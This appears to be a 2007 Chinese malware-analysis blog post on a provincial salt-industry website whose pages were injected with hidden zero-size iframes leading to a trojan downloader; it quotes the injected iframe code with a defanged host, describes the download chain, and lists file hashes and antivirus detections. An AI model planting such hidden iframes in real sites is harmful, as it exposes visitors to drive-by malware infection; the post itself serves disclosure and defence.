某省鹽業網被植入傳播Trojan.DL.Win32.Agent.zrc的代碼

某省鹽業網被植入傳播Trojan.DL.Win32.Agent.zrc的代碼

endurer 原創
2007-10-29 第1版

該網站首頁的首部和尾部被加入代碼：
/---
＜iframe src=hxxp://h*ot**peak.host**.2*w**cn.com/wm/index.htm width=0 height=0＞＜/iframe＞
---/

hxxp://h*ot**peak.host**.2*w**cn.com/wm/index.htm 的檢查cookies變數HeiYeNo2，若不存在則建立，並輸出代碼：
/---
＜iframe width=0 height=0 src=tcsafe.htm＞＜/iframe＞
＜iframe src=hxxp://h*ot**peak.host**.2*w**cn.com/wm/tcsafe.htm width=0 height=0＞＜/iframe＞
---/

tcsafe.htm 下載 xxz.exe，儲存為 tcsafe.com 並運行。

檔案說明符 : d:/test/xxz.exe
屬性 : A---
語言 : 中文(中國)
檔案版本 : 6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)
說明 : Win32 Cabinet Self-Extractor                                          
著作權 : (C) Microsoft Corporation. All rights reserved.
備忘 :
產品版本 : 6.00.2900.2180
產品名稱 : Microsoft(R) Windows(R) Operating System
公司名稱 : Microsoft Corporation
合法商標 :
內部名稱 : Wextract               
源檔案名稱 : WEXTRACT.EXE           
建立時間 : 2007-10-26 12:17:32
修改時間 : 2007-10-26 12:17:36
訪問時間 : 2007-10-26 12:22:53
大小 : 386560 位元組 377.512 KB
MD5 : 452ec2b7ec2f9823a37874e90c55319d
SHA1: 87ABA7445FED3CD5CE2A4DF7CC705902A50B3A8A
CRC32: 07ca93ce

瑞星報為：Trojan.DL.Win32.Agent.zrc＞＞aspr.ske.2.x.new＞＞3.exe＞＞pe_patch(14)＞＞pe_patch(14)

 

主　題：	RE: xxz.exe [KLAB-3175811]
寄件者：	"" <newvirus@kaspersky.com>	發送時間：2007-10-26 13:31:08

Hello.
Trojan-Dropper.Win32.Agent.ceb
New malicious software was found in the attached file.
It's detection will be included in the next update. Thank you for your help.
-----------------
Regards, Yury Nesmachny
Virus Analyst, Kaspersky Lab.